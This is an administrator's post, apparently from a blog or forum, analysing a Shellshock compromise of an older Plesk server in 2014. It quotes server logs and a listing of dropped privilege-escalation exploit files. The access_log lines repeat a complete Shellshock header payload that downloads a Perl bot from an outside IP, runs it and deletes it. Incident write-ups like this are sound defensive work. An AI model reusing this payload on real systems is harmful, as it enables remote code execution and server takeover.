I just had the pleasure to clean up a compromised older Plesk system.
The first thing that gave it away were numerous processes that were started listening to a number of ports and others trying to download code from the original scanning server.
lsof -i -n
...
perl 1899 user100 3u IPv4 227582583 0t0 TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
perl 1999 user101 3u IPv4 227582597 0t0 TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
perl 2016 wwwrun 3u IPv4 227549964 0t0 TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...
Following the logs I found out the ultimate hole was the a cgi_wrapper
script, something that was supposed to protect and shield the system is what actually tore the hole into the protection.
Here are some of the log lines from probes and the successful attack:
These are the lines from the access_log, as this is just a sample, note the 200 on two of the lines while the other ones fail with 404. You do not have to worry about the lines that have a 404 since these did not succeed, the ones with 200 however did. The pattern on these attacks here is always the same: 1. find a vulnerable cgi script use shellshock exploit to download and execute a perl script, delete the perl script again.
The perl script will actually download some source files (tgz) compile them and run them, from what I have seen they include at least a backdoor and a automatic update mechanism, plus what looks like exploits to try and gain elevated execution privileges. All of the initial scripts are actually executed as the user provided by the wrapper while later services are started with a PPID of 1 (started from root process)).
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
And here the corresponding error_log lines:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03-- http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34-- http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
Files downloaded to /tmp
As one might guess, I do not have the bot.pl file since it is deleted right away.
-rwxr-xr-x 1 user100 psacln 187 Sep 29 01:02 check
-rwxr-xr-x 1 user100 psacln 9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100 psacln 4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100 psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100 psacln 178 Sep 29 03:35 payload.c
cd ./expls
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 1
drwxr-xr-x 2 user100 psacln 4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100 psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100 psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100 psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100 psacln 2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100 psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100 psacln 6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100 psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100 psacln 6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100 psacln 2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100 psacln 4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100 psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100 psacln 1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100 psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100 psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100 psacln 9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100 psacln 419 Sep 29 02:03 origin
-rw-r--r-- 1 user100 psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100 psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100 psacln 3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100 psacln 2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100 psacln 208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100 psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100 psacln 7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100 psacln 233 Sep 29 03:13 run
-rwxr-xr-x 1 user100 psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100 psacln 3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100 psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100 psacln 4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100 psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100 psacln 2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100 psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100 psacln 159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100 psacln 9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100 psacln 2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100 psacln 438 Sep 29 03:13 start
-rwxr-xr-x 1 user100 psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100 psacln 5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100 psacln 25396 Sep 29 02:46 x86_64.c
After a while I noticed ssh connections from various places like China that usually do not visit our server that much.
I patched bash as a emergency measure (would have been nice to have patched sources available from the FSF Website and not just the really OLD sources and patch-files (one of which did not apply correctly at first).
System is scheduled for a complete wipe now, so if anyone is looking for something else about the attack, you can ask, but do it soon.